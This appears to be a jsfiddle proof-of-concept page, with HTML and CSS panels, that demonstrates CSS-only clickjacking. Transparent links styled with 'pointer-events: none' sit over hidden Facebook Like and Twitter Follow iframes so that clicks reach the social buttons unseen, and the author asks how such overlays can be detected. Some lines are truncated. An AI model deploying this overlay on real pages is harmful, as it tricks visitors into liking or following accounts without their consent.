

CSS-Only Clickjacking

CSS-Only Clickjacking - @gcollazo, jsfiddle.net.

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Content

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CSS-Only Clickjacking

HTML

<h1>CSS-Only Clickjacking</h1>

<p>If you click on any of the links below your click will be passed to a hidden Facebook Like button (Click) or a Twitter F

<p>The magic is done with a simple CSS rule set in the style of the overlaying element.</p>

```
<pre>pointer-events: none;</pre>
```

<p class="extra-space">Links with hidden buttons behind:</p>

<div class="wrapper">

<iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2Felweb&send

Click

Follow

<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=i

Don't click

</div>

<p class="extra-space">Here you can see how the a tags are hiding the buttons:</p>

<div class="wrapper">

<iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2Felweb&send

Click

Follow

<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=i

Don't click

</div>

<p class="extra-space">This seems like a real security threat and I haven't found a foolproof way of detecting it. Is ther

<p>Thanks to @elving, telling me about this.</p>

JavaScript

```
// No panel code.
```

CSS

```
.wrapper a.facebook {
  position: absolute;
  padding: 5px 46px 5px 15px;
  margin: 3px 0 0 -97px;
  pointer-events: none; /* here */
}

.wrapper a.twitter {
  position: absolute;
  padding: 10px 40px 5px 40px;
  margin: -2px 0 0 -147px;
  pointer-events: none; /* here */
}

a.hide {
  background-color: white;
}

a.show {
  background-color: rgba(255,0,0,0.5);
}

/* ===== Style ===== */
body {
  margin: 20px;
  font-family: Helvetica, Arial, Tahoma;
  color: #333;
}

h1 {
  font-weight: bold;
  font-size: 120%;
  margin-bottom: 20px;
}

.wrapper {
  margin-top: 20px;
}

pre {
  padding: 10px;
  background-color: #eee;
  border: 1px solid #ddd;
}
```

```
p {  
  padding-bottom:10px;  
}  
  
.extra-space {  
  margin-top:30px;  
}
```

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